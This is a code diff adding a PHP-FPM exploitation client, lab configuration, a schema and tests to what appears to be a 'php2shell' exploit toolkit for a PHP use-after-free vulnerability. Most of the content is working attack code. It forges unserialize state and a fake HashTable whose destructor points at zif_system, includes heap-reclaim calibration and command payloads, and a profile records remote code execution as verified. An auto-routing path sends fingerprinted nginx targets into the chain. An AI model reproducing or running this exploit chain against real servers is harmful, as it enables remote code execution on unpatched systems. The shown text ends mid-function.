+php_admin_value[session.upload_progress.enabled] = On +php_admin_flag[display_errors] = On +php_admin_flag[display_startup_errors] = On +php_admin_value[error_reporting] = E_ALL +php_admin_value[expose_php] = On +php_admin_value[error_log] = @RUNTIME@/logs/php-builder.log diff --git a/lab/fpm/php.ini b/lab/fpm/php.ini new file mode 100644 index 0000000..491845e --- /dev/null +++ b/lab/fpm/php.ini @@ -0,0 +1,24 @@ +; php2shell FPM laboratory — calibration php.ini (mirrors lab/rce/php.ini). +; Per-pool overrides (memory_limit, cleanup, save_path) live in php-fpm.conf. +display_errors = On +display_startup_errors = On +error_reporting = E_ALL + +memory_limit = 8M +post_max_size = 128M +upload_max_filesize = 128M +max_input_vars = 1000 + +expose_php = On +enable_post_data_reading = On +auto_globals_jit = 0 + +session.use_strict_mode = 0 +session.use_cookies = 1 +session.use_only_cookies = 1 +session.upload_progress.enabled = On +session.upload_progress.cleanup = On +session.upload_progress.prefix = "upload_progress_" +session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" +session.upload_progress.freq = "1%" +session.upload_progress.min_freq = 0 diff --git a/lab/fpm/webroot/app.php b/lab/fpm/webroot/app.php new file mode 100644 index 0000000..9576a77 --- /dev/null +++ b/lab/fpm/webroot/app.php @@ -0,0 +1,25 @@ + $v) { + if (is_string($v)) { + echo $k, "\t", $v, "\n"; + } elseif (is_scalar($v) || $v === null) { + echo $k, "\t", var_export($v, true), "\n"; + } else { + echo $k, "\t", serialize($v), "\n"; + } +} +echo "SESSION_END\n"; diff --git a/lab/fpm/webroot/index.php b/lab/fpm/webroot/index.php new file mode 100644 index 0000000..286e993 --- /dev/null +++ b/lab/fpm/webroot/index.php @@ -0,0 +1 @@ +/mem (local lab)" + }, + "stages": {}, + "config": { + "memory_limit": 8388608, + "display_errors": "On", + "session_upload_progress": "On", + "workers": 2 + }, + "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it.", + "oom_mb": 4 +} diff --git a/profiles/schema.json b/profiles/schema.json index 015bbb0..fab4d3c 100644 --- a/profiles/schema.json +++ b/profiles/schema.json @@ -41,9 +41,10 @@ "sapi": { "type": "string", "enum": [ - "apache2handler" + "apache2handler", + "fpm" ], - "description": "Server API. Only apache2handler (mod_php prefork) is supported." + "description": "Server API: apache2handler (mod_php prefork) or fpm (nginx + PHP-FPM)." }, "verified": { "type": "boolean", @@ -76,7 +77,7 @@ }, "libphp": { "type": "object", - "description": "Symbol offsets relative to the libphp.so load base.", + "description": "Symbol offsets relative to the libphp.so load base (apache2handler) or the php-fpm PIE base (fpm).", "required": [ "zif_system", "zval_ptr_dtor" @@ -103,29 +104,66 @@ }, "additionalProperties": false }, + "fpm": { + "type": "object", + "description": "PHP-FPM stale-BG(unserialize) chain layout (lab-calibrated; offsets relative to the php-fpm PIE base).", + "properties": { + "basic_globals": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of basic_globals in the php-fpm binary." + }, + "bg_unserialize_data_off": { + "type": "integer", + "description": "offsetof(php_basic_globals, unserialize.data)." + }, + "bg_unserialize_level_off": { + "type": "integer", + "description": "offsetof(php_basic_globals, unserialize.level)." + }, + "struct_size": { + "type": "integer", + "description": "sizeof(struct php_unserialize_data) for this build." + }, + "reclaim_pads": { + "type": "array", + "items": {"type": "integer"}, + "description": "Pad field sizes placed before the big reclaim field." + }, + "reclaim_size": { + "type": "integer", + "description": "Size of the big multipart field that reclaims the stale struct." + }, + "oracle": { + "type": "string", + "description": "Calibration oracle used by the lab client (e.g. /proc//mem)." + } + }, + "additionalProperties": false + }, "stages": { "type": "object", "description": "Heap calibration parameters for each exploit stage.", "properties": { "stage1_n": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Number of multipart fields to place before the forged block in stage 1." + "description": "Number of multipart fields to place before the forged block in stage 1. Null when not calibrated." }, "stage1_forge_len": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Byte length of the forged zend_string block in stage 1." + "description": "Byte length of the forged zend_string block in stage 1. Null when not calibrated." }, "stage2_t": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Target field index for the stage-2 libphp pointer leak." + "description": "Target field index for the stage-2 libphp pointer leak. Null when not calibrated." }, "stage2_v": { - "type": "integer", + "type": ["integer", "null"], "minimum": 1, - "description": "Value parameter for stage-2 calibration." + "description": "Value parameter for stage-2 calibration. Null when not calibrated." }, "stage3_pads": { "type": [ @@ -181,14 +219,32 @@ "description": "Addresses observed during calibration (informational, not used at runtime).", "properties": { "chunk_base": { - "type": "string", + "type": ["string", "null"], "pattern": "^0x[0-9a-fA-F]+$", - "description": "Zend MM chunk base address from stage-1 leak." + "description": "Zend MM chunk base address from stage-1 leak. Null when not leaked." }, "libphp_base": { - "type": "string", + "type": ["string", "null"], "pattern": "^0x[0-9a-fA-F]+$", - "description": "libphp.so load base from stage-2 leak." + "description": "libphp.so load base from stage-2 leak. Null when not leaked." + }, + "chunk_base_example": { + "type": ["string", "null"], + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Example chunk base observed on a similar build (informational)." + }, + "libphp_base_example": { + "type": ["string", "null"], + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Example libphp base observed on a similar build (informational)." + }, + "stage3_http_session_vars": { + "type": ["string", "null"], + "description": "Chunk-relative shape of $_SESSION storage observed during calibration." + }, + "stage3_ref_buffers": { + "type": ["string", "null"], + "description": "Chunk-relative shape of the reference buffers observed during calibration." } }, "additionalProperties": false @@ -216,49 +272,85 @@ "description": "memory_limit values (in MiB) where RCE was verified." } }, - "if": { - "properties": { - "rce": { - "const": true - } - } - }, - "then": { - "required": [ - "oom_mb" - ], - "properties": { - "libphp": { + "allOf": [ + { + "if": { + "properties": { + "rce": { + "const": true + }, + "sapi": { + "const": "apache2handler" + } + }, + "required": ["rce", "sapi"] + }, + "then": { "required": [ - "zif_system", - "zval_ptr_dtor", - "htdata" + "oom_mb" ], "properties": { - "htdata": { - "type": "string" + "libphp": { + "required": [ + "zif_system", + "zval_ptr_dtor", + "htdata" + ], + "properties": { + "htdata": { + "type": "string" + } + } + }, + "stages": { + "required": [ + "stage1_n", + "stage1_forge_len", + "stage2_t", + "stage2_v", + "stage3_pads", + "stage3_carrier" + ], + "properties": { + "stage3_pads": { + "type": "array" + }, + "stage3_carrier": { + "type": "boolean" + } + } } } + } + }, + { + "if": { + "properties": { + "rce": { + "const": true + }, + "sapi": { + "const": "fpm" + } + }, + "required": ["rce", "sapi"] }, - "stages": { + "then": { "required": [ - "stage1_n", - "stage1_forge_len", - "stage2_t", - "stage2_v", - "stage3_pads", - "stage3_carrier" + "oom_mb", + "fpm" ], "properties": { - "stage3_pads": { - "type": "array" - }, - "stage3_carrier": { - "type": "boolean" + "fpm": { + "required": [ + "basic_globals", + "struct_size", + "reclaim_size" + ] } } } } - }, + ], "additionalProperties": false } \ No newline at end of file diff --git a/tests/test_core.py b/tests/test_core.py index bf14ee9..30d1f96 100644 --- a/tests/test_core.py +++ b/tests/test_core.py @@ -159,9 +159,15 @@ def test_profiles_are_valid(self): self.assertNotIn(data["name"], names, f"duplicate profile name: {path}") names.add(data["name"]) if data.get("rce"): - self.assertIsNotNone(data["libphp"].get("htdata"), path) - self.assertTrue(data["stages"].get("stage3_pads"), path) self.assertIsInstance(data.get("oom_mb"), int, path) + if data.get("sapi") == "fpm": + # the FPM chain forges the stale var_hash directly; it + # does not use the Apache stage-3 htdata carrier + self.assertIsNotNone(data["fpm"].get("basic_globals"), path) + self.assertIsNotNone(data["fpm"].get("struct_size"), path) + else: + self.assertIsNotNone(data["libphp"].get("htdata"), path) + self.assertTrue(data["stages"].get("stage3_pads"), path) def test_profile_schema_if_present(self): schema = ROOT / "profiles" / "schema.json" diff --git a/tests/test_fpm.py b/tests/test_fpm.py new file mode 100644 index 0000000..aab95a5 --- /dev/null +++ b/tests/test_fpm.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python3 +"""Unit tests for the nginx + PHP-FPM exploitation client (tools/php2shell_fpm.py). + +The unit tests need no laboratory. The integration tests at the bottom +need the local FPM lab (lab/fpm, ``tools/php2shell_fpm_labs.py up``) and +run only when PHP2SHELL_FPM_LAB=1 is set. +""" + +from __future__ import annotations + +import json +import os +import struct +import sys +import unittest +from pathlib import Path +from types import SimpleNamespace + +ROOT = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(ROOT / "tools")) + +import php2shell_auto as auto # noqa: E402 +import php2shell_fpm as fpm # noqa: E402 + +D = 0x7F07BE280000 # lab-observed stale struct address +K = 0xFE8 # lab-observed reclaim content offset +SIZE = 12288 +ZIF = 0x556C90186660 # lab-observed zif_system absolute address +CMD = b"id>out/p1" + + +class MultipartTests(unittest.TestCase): + def test_build_multipart_shape(self): + parts = [ + {"name": "pad0", "data": b"C" * 16}, + {"name": "f", "filename": "a.txt", "data": b"x" * 4}, + ] + body = fpm.build_multipart(parts, b"BOUND1") + self.assertTrue(body.startswith(b"--BOUND1\r\n")) + self.assertIn(b'name="pad0"', body) + self.assertIn(b'filename="a.txt"', body) + self.assertIn(b"Content-Type: application/octet-stream", body) + self.assertTrue(body.endswith(b"--BOUND1--\r\n")) + + +class SapiRoutingTests(unittest.TestCase): + def test_detect_sapi(self): + self.assertEqual(auto.detect_sapi("nginx/1.26.3"), "fpm") + self.assertEqual(auto.detect_sapi("Apache/2.4.62 (Debian)"), "apache") + self.assertEqual(auto.detect_sapi(""), "unknown") + self.assertEqual(auto.detect_sapi("LiteSpeed"), "unknown") + + def test_proof_path_from_command(self): + self.assertEqual(auto.proof_path_from_command("id>out/p1"), "out/p1") + self.assertEqual(auto.proof_path_from_command("id >/tmp/x "), "tmp/x") + self.assertEqual(auto.proof_path_from_command("id"), "out/p1") + + +class EndgamePayloadTests(unittest.TestCase): + """The forged buffer must encode the exact dtor-chain layout the + 8.4.26 source expects (var_unserializer.re, session.c, zend_hash.c).""" + + @classmethod + def setUpClass(cls): + cls.buf = fpm._build_endgame_payload(D, K, SIZE, ZIF, CMD) + + def _off(self, addr: int) -> int: + return K + (addr - D) + + def _u64(self, addr: int) -> int: + return struct.unpack_from(" int: + return struct.unpack_from(" int: + return struct.unpack_from(" dict: + return json.loads((ROOT / "profiles" / "8.4.26-fpm.json").read_text()) + + def test_fpm_profile_matches_module_constants(self): + meta = self._profile()["fpm"] + self.assertEqual(meta["bg_unserialize_data_off"], + fpm.BG_UNSERIALIZE_DATA_OFF) + self.assertEqual(meta["bg_unserialize_level_off"], + fpm.BG_UNSERIALIZE_LEVEL_OFF) + self.assertEqual(meta["struct_size"], 8216) + self.assertEqual(meta["reclaim_size"], SIZE) + self.assertEqual(meta["reclaim_pads"], [4096, 4096, 4096]) + + def test_fpm_profile_is_rce_verified(self): + profile = self._profile() + self.assertEqual(profile["sapi"], "fpm") + self.assertTrue(profile["rce"]) + self.assertTrue(profile["verified"]) + self.assertEqual(profile["fixed_in"], "8.4.27") + self.assertEqual(profile["libphp"]["zif_system"], "0x386660") + + def test_fpm_profile_validates_against_schema(self): + try: + import jsonschema + except ImportError: + self.skipTest("jsonschema not installed") + schema = json.loads((ROOT / "profiles" / "schema.json").read_text()) + jsonschema.validate(self._profile(), schema) + + +LAB = os.environ.get("PHP2SHELL_FPM_LAB") == "1" + + +@unittest.skipUnless(LAB, "set PHP2SHELL_FPM_LAB=1 with the FPM lab up") +class FpmLabIntegrationTests(unittest.TestCase): + """End-to-end primitive and RCE against the local 8.4.26 lab.""" + + def _args(self, **extra): + base = dict( + base="http://127.0.0.1:8110", + builder="http://127.0.0.1:8111", + version="8.4.26", + size=4 << 20, + value=1337337, + command="id>out/p1lab", + proof_file="out/p1lab", + ) + base.update(extra) + return SimpleNamespace(**base) + + def test_primitive_observable(self): + self.assertEqual(fpm.cmd_primitive(self._args()), 0) + + def test_endgame_rce_proof(self): + self.assertEqual(fpm.cmd_endgame(self._args()), 0) + + +if __name__ == "__main__": + unittest.main() diff --git a/tools/php2shell_auto.py b/tools/php2shell_auto.py index b5b4861..c8c6421 100755 --- a/tools/php2shell_auto.py +++ b/tools/php2shell_auto.py @@ -7,11 +7,14 @@ ---- 1. Fingerprint the target (X-Powered-By, Server, PHP version in the body). 2. Reject versions at or above the fixed release. -3. Compare the target OS with the profile (Debian/Ubuntu/Fedora/Alpine...). -4. Load the verified build profile and take the libphp offsets and heap +3. Route by SAPI: nginx (PHP-FPM) targets go to the FPM chain + (tools/php2shell_fpm.py, local lab / oracle mode); Apache targets + continue with the upstream progress-cache chain. +4. Compare the target OS with the profile (Debian/Ubuntu/Fedora/Alpine...). +5. Load the verified build profile and take the libphp offsets and heap parameters from it. -5. Run the chain, sweeping typical memory limits unless one is supplied. -6. Print a Wiz-style staged log and a result box. +6. Run the chain, sweeping typical memory limits unless one is supplied. +7. Print a Wiz-style staged log and a result box. Proof handling is automatic: - local target: read the proof file written to the mounted /out; @@ -34,7 +37,6 @@ import socket import ssl import subprocess -import threading import time import sys import urllib.parse @@ -124,6 +126,71 @@ def classify(version: str): return branch, fixed, (patch >= fixed if fixed else None) +def detect_sapi(server: str) -> str: + """Best-effort SAPI guess from the Server header: nginx in front of + PHP-FPM is the common non-Apache shape.""" + text = (server or "").lower() + if "apache" in text: + return "apache" + if "nginx" in text: + return "fpm" + return "unknown" + + +def proof_path_from_command(command: str, default: str = "out/p1") -> str: + if ">" in command: + tail = command.rsplit(">", 1)[1].strip() + if tail: + return tail.lstrip("/") + return default + + +def run_fpm_chain(ui, args, version: str) -> int: + """Route an nginx+PHP-FPM target to tools/php2shell_fpm.py. + + The FPM chain (stale BG(unserialize) after a post-RINIT OOM) currently + calibrates the reclaim geometry through the local /proc oracle, so it + only runs against loopback lab targets. Remote FPM exploitation needs + a leak primitive and is future work.""" + import php2shell_fpm as fpm + + host = urllib.parse.urlsplit( + args.target if "://" in args.target else "http://" + args.target + ).hostname or "" + if not is_loopback(host): + ui.crit("the FPM chain needs local /proc oracle access (lab mode)") + ui.info("remote FPM exploitation requires a leak primitive (future work)") + ui.result(False, "FPM REMOTE UNSUPPORTED", f"PHP {version} behind a non-loopback front") + return 3 + + base = args.target if "://" in args.target else "http://" + args.target + builder = args.builder or base + # the auto defaults (id>/out/p1) target the Apache chain's mounted /out; + # the FPM chain runs with the pool chdir as cwd and writes relative paths + command = args.command + if command in ("id>/out/p1", "id>p1"): + command = "id>out/p1" + proof_file = args.proof_file or proof_path_from_command(command) + + ui.stage("FPM CHAIN", f"PHP {version} via {base}") + ui.info(f"builder: {builder}") + ui.info(f"command: {command} (worker cwd = pool chdir)") + ui.info("calibration oracle: /proc//mem (local lab)") + + ns = argparse.Namespace( + base=base, + builder=builder, + version=version, + command=command, + proof_file=proof_file, + size=4 << 20, + ) + rc = fpm.cmd_endgame(ns) + ui.result(rc == 0, "RCE" if rc == 0 else "FAILED", + f"PHP {version} fpm chain" if rc == 0 else "no proof file") + return rc + + def is_loopback(host: str) -> bool: try: infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM) @@ -559,6 +626,10 @@ def main() -> int: help="CPU architecture; required for remote targets, auto-detected locally") ap.add_argument("--profile", default=None, help="force a profile by name/path substring (needed when a version has several builds)") + ap.add_argument("--sapi", choices=("auto", "apache", "fpm"), default="auto", + help="override the SAPI detection (fpm = nginx + PHP-FPM chain)") + ap.add_argument("--builder", default=None, + help="FPM chain builder endpoint (default: the target itself)") ap.add_argument("--no-color", action="store_true") args = ap.parse_args() @@ -638,6 +709,11 @@ def main() -> int: if fixed is None: ui.warn(f"branch {branch} is outside the fix matrix (EOL/unpatched)") + sapi = args.sapi if args.sapi != "auto" else detect_sapi(server) + if sapi == "fpm": + ui.info(f"SAPI: fpm (server header {server!r}); using the FPM chain") + return run_fpm_chain(ui, args, version) + if args.profile: matches = [p for p in profiles if args.profile in p.get("name", "") or args.profile in p.get("_path", "")] diff --git a/tools/php2shell_fpm.py b/tools/php2shell_fpm.py new file mode 100755 index 0000000..4339436 --- /dev/null +++ b/tools/php2shell_fpm.py @@ -0,0 +1,860 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +php2shell_fpm.py — CVE-2026-109619 exploitation client for nginx + PHP-FPM. + +The upstream Apache chain (progress-cache UAF, vendor exploit.py stages 1-3) +needs a pre-RINIT OOM, which on FPM kills the worker (fpm_main.c:1871 -> +FPM_EXIT_SOFTWARE). The FPM-viable primitive is the cross-request +BG(unserialize) stale state: + + producer A GET app.php + Cookie PHPSESSID= + -> session_start() decodes a ~4MB session post-RINIT -> OOM + -> php_execute_script's zend_try catches the bailout, the + worker survives, BG(unserialize) keeps {level=1, data=d} + pointing at the (teardown-freed) 8216-byte struct. + consumer B multipart POST (pre-RINIT): the rfc1867 handler runs inside + php_hash_environment(), i.e. BEFORE zend_activate_modules() + (main.c:1873-1874) where PHP_RINIT(basic) would memset BG. + php_session_initialize() -> php_session_decode() -> + php_var_unserialize_init() reuses d. B reclaims d's slot with + a controlled buffer and plants a forged var_entries. + +Lab-only aid: the /proc//mem oracle reads BG(unserialize).data (d), +the worker's PIE base and buffer addresses, making the reclaim deterministic +to calibrate. The remote (no-oracle) leak remains future work. + +Subcommands: + lifecycle worker-death matrix (pre- vs post-RINIT OOM) + oracle print worker pid, pie base, chunk base, d, level + build-oom builder-pool POST -> ~4MB session file (cleanup=Off) + build-ref builder-pool POST ref.php -> session file with R:2 + producer one request A (stale BG) + reclaim-probe A + patterned B, read back d via oracle (sweep pad sizes) + primitive A + B with forged benign var_entries (observable via app.php) + endgame A + B with forged ref/array/zif_system chain (RCE proof file) + chain full pipeline (primitive or endgame phase) + patchcheck run lifecycle+oracle+producer+probe on 8.4.26 vs 8.4.27 +""" + +from __future__ import annotations + +import argparse +import os +import re +import socket +import struct +import subprocess +import sys +import time +import urllib.parse + +HERE = os.path.dirname(os.path.abspath(__file__)) +ROOT = os.path.dirname(HERE) +LAB = os.path.join(ROOT, "lab", "fpm") +RUNTIME = os.path.join(LAB, "runtime") + +BG_UNSERIALIZE_DATA_OFF = 872 # offsetof(php_basic_globals, unserialize.data) +BG_UNSERIALIZE_LEVEL_OFF = 880 +MEM_CHUNK = 0x200000 + +OOM_SID = b"fmroom000000000001" +REF_SID = b"fpmref000000000001" + + +# --------------------------------------------------------------------------- # +# http +# --------------------------------------------------------------------------- # + +class Target: + def __init__(self, url: str, timeout: float = 60.0): + u = urllib.parse.urlsplit(url) + self.host = u.hostname or "127.0.0.1" + self.port = u.port or 80 + self.path = u.path or "/" + self.timeout = timeout + + def _connect(self) -> socket.socket: + sock = socket.create_connection((self.host, self.port), timeout=self.timeout) + sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + return sock + + def _exch(self, request: bytes, read_cap: int = 1 << 22, + timeout: float | None = None) -> tuple[int, dict[str, str], bytes]: + sock = self._connect() + sock.settimeout(timeout or self.timeout) + try: + sock.sendall(request) + data = bytearray() + while len(data) < read_cap: + try: + chunk = sock.recv(65536) + except OSError: + break + if not chunk: + break + data.extend(chunk) + finally: + sock.close() + head, _, body = bytes(data).partition(b"\r\n\r\n") + lines = head.decode("latin1", "replace").split("\r\n") + status = 0 + if lines and re.match(r"HTTP/1\.[01] \d{3}", lines[0]): + status = int(lines[0].split()[1]) + headers: dict[str, str] = {} + for line in lines[1:]: + if ":" in line: + k, v = line.split(":", 1) + headers[k.strip().lower()] = v.strip() + return status, headers, body + + def get(self, path: str, cookie: bytes | None = None, + read_cap: int = 1 << 22) -> tuple[int, dict[str, str], bytes]: + extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else "" + req = (f"GET {path} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n" + f"{extra}Connection: close\r\n\r\n").encode() + return self._exch(req, read_cap=read_cap) + + def post_multipart(self, parts: list[dict], boundary: bytes, + cookie: bytes | None = None, + read_cap: int = 1 << 22, + timeout: float | None = None) -> tuple[int, dict[str, str], bytes]: + body = build_multipart(parts, boundary) + extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else "" + req = (f"POST {self.path} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n" + f"{extra}" + f"Content-Type: multipart/form-data; boundary={boundary.decode('latin1')}\r\n" + f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body + return self._exch(req, read_cap=read_cap, timeout=timeout) + + def post_urlencoded(self, fields: dict[str, str], + cookie: bytes | None = None, + path: str | None = None) -> tuple[int, dict[str, str], bytes]: + body = urllib.parse.urlencode(fields).encode() + extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else "" + req = (f"POST {path or self.path} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n" + f"{extra}Content-Type: application/x-www-form-urlencoded\r\n" + f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body + return self._exch(req) + + +def build_multipart(parts: list[dict], boundary: bytes) -> bytes: + out = bytearray() + for part in parts: + name = part["name"] if isinstance(part["name"], bytes) else part["name"].encode("latin1") + out += b"--" + boundary + b"\r\n" + out += b'Content-Disposition: form-data; name="' + name + b'"' + if part.get("filename") is not None: + fname = (part["filename"] if isinstance(part["filename"], bytes) + else part["filename"].encode("latin1")) + out += b'; filename="' + fname + b'"' + out += b"\r\nContent-Type: application/octet-stream" + data = part["data"] if isinstance(part["data"], bytes) else part["data"].encode("latin1") + out += b"\r\n\r\n" + data + b"\r\n" + out += b"--" + boundary + b"--\r\n" + return bytes(out) + + +def parse_sid(header_value: str) -> bytes: + return urllib.parse.unquote_to_bytes(header_value.split(";")[0].strip()) + + +# --------------------------------------------------------------------------- # +# oracle (/proc//mem, lab-only) +# --------------------------------------------------------------------------- # + +def fpm_prefix(version: str) -> str: + return os.path.join(RUNTIME, f"php-{version}") + + +def find_pool_worker(version: str, pool: str) -> int | None: + marker = f"php-fpm: pool {pool}".encode() + for name in os.listdir("/proc"): + if not name.isdigit(): + continue + try: + with open(f"/proc/{name}/cmdline", "rb") as handle: + data = handle.read() + except OSError: + continue + if marker not in data: + continue + # workers of every build look alike; match the binary path + exe = os.readlink(f"/proc/{name}/exe") + if f"php-{version}" in exe: + return int(name) + return None + + +class Oracle: + def __init__(self, version: str, pool: str = "chain"): + self.version = version + self.pid = find_pool_worker(version, pool) + if self.pid is None: + raise RuntimeError(f"no php-fpm '{pool}' worker for {version}") + self.maps = self._read_maps() + self.pie_base = self._pie_base() + self.bg = self.pie_base + self._symbol("basic_globals") + self.zif = self.pie_base + self._symbol("zif_system") + self.dtor = self.pie_base + self._symbol("zval_ptr_dtor") + + def _read_maps(self) -> list[tuple[int, int, str]]: + out = [] + with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle: + for line in handle: + rng, perms, *rest = line.split() + start_s, end_s = rng.split("-") + out.append((int(start_s, 16), int(end_s, 16), perms)) + return out + + def _pie_base(self) -> int: + exe = os.readlink(f"/proc/{self.pid}/exe") + with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle: + base = None + for line in handle: + parts = line.split() + if parts[-1] != exe: + continue + start = int(parts[0].split("-")[0], 16) + if base is None or start < base: + base = start + if base is None: + raise RuntimeError("pie base not found") + return base + + def _symbol(self, name: str) -> int: + binary = os.readlink(f"/proc/{self.pid}/exe") + result = subprocess.run(["nm", binary], capture_output=True, text=True) + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 3 and parts[-1] == name: + return int(parts[0], 16) + raise RuntimeError(f"symbol {name} not found") + + def read(self, addr: int, size: int) -> bytes: + with open(f"/proc/{self.pid}/mem", "rb") as handle: + handle.seek(addr) + return handle.read(size) + + def u64(self, addr: int) -> int: + return struct.unpack(" int: + return struct.unpack(" int: + return self.u64(self.bg + BG_UNSERIALIZE_DATA_OFF) + + def unserialize_level(self) -> int: + return self.u32(self.bg + BG_UNSERIALIZE_LEVEL_OFF) + + def chunk_base(self, addr: int) -> int | None: + for start, end, perms in self.maps: + if start <= addr < end and "rw-p" in perms and end - start == MEM_CHUNK: + return start + return None + + def refresh(self) -> None: + self.maps = self._read_maps() + + def dump(self) -> None: + d = self.unserialize_data() + level = self.unserialize_level() + chunk = self.chunk_base(d) if d else None + print(f"worker pid={self.pid}") + print(f"pie_base 0x{self.pie_base:x}") + print(f"basic_glob 0x{self.bg:x}") + print(f"zif_system 0x{self.zif:x}") + print(f"zval_ptrdtor 0x{self.dtor:x}") + print(f"BG.data 0x{d:x} level={level}") + print(f"chunk_base {('0x%x' % chunk) if chunk else None}") + + +# --------------------------------------------------------------------------- # +# lab helpers +# --------------------------------------------------------------------------- # + +def session_file(version: str, sid: bytes) -> str: + return os.path.join(fpm_prefix(version), "session", f"sess_{sid.decode('latin1')}") + + +def big_session_post(builder: Target, sid: bytes, size: int) -> tuple[int, bytes]: + """Progress-key 4MB string -> session file with a huge key (cleanup=Off).""" + parts = [ + {"name": "PHPSESSID", "data": sid}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"A" * size}, + {"name": "f", "filename": "a.txt", "data": b"x" * 16}, + ] + status, headers, body = builder.post_multipart(parts, b"BOUNDSZ16", timeout=180.0) + return status, body + + +def ref_session_post(builder: Target, sid: bytes) -> tuple[int, bytes]: + """ref.php stores $_SESSION['r'] =& $_SESSION['a'] -> 'R:2' in the file.""" + status, _headers, body = builder.post_urlencoded( + {"x": "1"}, cookie=b"PHPSESSID=" + sid, path="/ref.php") + return status, body + + +def producer_get(chain: Target, sid: bytes) -> tuple[int, bytes]: + status, _headers, body = chain.get("/app.php", cookie=b"PHPSESSID=" + sid) + return status, body + + +# --------------------------------------------------------------------------- # +# shared exploit pipeline +# --------------------------------------------------------------------------- # + +def _arm_stale(base: Target, builder: Target, oracle: Oracle, size: int) -> int: + """Rebuild the OOM session (php_session_cancel_decode unlinked it during + the previous bailout), fire the producer, return stale BG.data. + + Note: any later request that reaches RINIT memsets BG(basic), so the + stale state must be re-armed immediately before the consume.""" + big_session_post(builder, OOM_SID, size) + producer_get(base, OOM_SID) + d = oracle.unserialize_data() + if not d or oracle.unserialize_level() != 1: + raise RuntimeError("stale state not armed") + return d + + +def _probe_cover(chain404: Target, oracle: Oracle, d: int, need: int, + size: int = 12288) -> int | None: + """Land a patterned reclaim buffer (3x4096 pads + one big field) over d + against a 404 endpoint, scan the mem chunk for the unique marker, and + return the content offset K such that buffer+K == d.""" + chunk = oracle.chunk_base(d) + if chunk is None: + return None + # Unique marker: the heap retains freed buffer contents across requests, + # so a fixed marker could match a stale copy from a previous run. + marker = b"MK" + os.urandom(6) + content = bytearray(b"\x00" * size) + content[0:8] = marker + parts = [{"name": f"pad{i}", "data": b"C" * 4096} for i in range(3)] + parts.append({"name": "big", "data": bytes(content)}) + chain404.post_multipart(parts, b"PRBLAND1") + oracle.refresh() + data = oracle.read(chunk, MEM_CHUNK) + hits, idx = [], 0 + while True: + pos = data.find(marker, idx) + if pos < 0: + break + hits.append(pos) + idx = pos + 1 + d_off = d - chunk + cover = [h for h in hits if h <= d_off and d_off + need <= h + size] + if not cover: + print(f"[!] no covering reclaim buffer (hits={[hex(h) for h in hits]})") + return None + k = d_off - cover[0] + print(f"[*] d=0x{d:x} reclaim covers d at content off {k:#x}") + return k + + +def _rebuild_ref_and_arm(base: Target, builder: Target, oracle: Oracle, + oom_size: int) -> int: + """Rebuild the ref session (a failed consume saves the corrupted decode + back to the file), re-arm the stale state, and return the re-armed d.""" + ref_session_post(builder, REF_SID) + return _arm_stale(base, builder, oracle, oom_size) + + +def _consume_b(chainapp: Target, forged: bytes) -> tuple[int, dict[str, str], bytes]: + """Consume with the forged reclaim buffer. + + Consumer B MUST carry the PHP_SESSION_UPLOAD_PROGRESS field and a file + part: rfc1867 has to fire the pre-RINIT session_start, otherwise the + decode would run post-RINIT against a memset BG(unserialize).""" + parts = [{"name": f"pad{i}", "data": b"C" * 4096} for i in range(3)] + parts.append({"name": "big", "data": forged}) + parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}) + parts.append({"name": "f", "filename": "a.txt", "data": b"x" * 8}) + status, headers, body = chainapp.post_multipart(parts, b"CONSUME01", + cookie=b"PHPSESSID=" + REF_SID) + print(f"[*] consumer status={status}") + return status, headers, body + + +# --------------------------------------------------------------------------- # +# subcommands +# --------------------------------------------------------------------------- # + +def cmd_lifecycle(args) -> int: + chain = Target(args.base) + version = args.version + worker = find_pool_worker(version, "chain") + print(f"[*] chain worker before: {worker}") + + # pre-RINIT OOM: big multipart POST to index.php (no session, body parse + # happens inside php_request_startup -> bailout -> FPM_EXIT_SOFTWARE) + parts = [{"name": f"p{i:04d}", "data": b"V" * (1 << 20)} for i in range(10)] + status, _h, body = chain.post_multipart(parts, b"PRERINIT1", timeout=60.0) + time.sleep(0.4) + worker2 = find_pool_worker(version, "chain") + print(f"[A] pre-RINIT OOM: status={status} worker {worker} -> {worker2} " + f"({'DIED' if worker != worker2 else 'survived'}) body={body[:60]!r}") + + # post-RINIT OOM: producer (needs a big session; build one if missing) + if not os.path.isfile(session_file(version, OOM_SID)): + builder = Target(args.builder) + print("[*] building oom session (4MB) ...") + big_session_post(builder, OOM_SID, 4 << 20) + worker3 = find_pool_worker(version, "chain") + status, body = producer_get(chain, OOM_SID) + time.sleep(0.2) + worker4 = find_pool_worker(version, "chain") + print(f"[B] post-RINIT OOM: status={status} worker {worker3} -> {worker4} " + f"({'DIED' if worker3 != worker4 else 'survived'})") + print(f" body head: {body[:120]!r}") + return 0 + + +def cmd_oracle(args) -> int: + oracle = Oracle(args.version, pool="chain") + 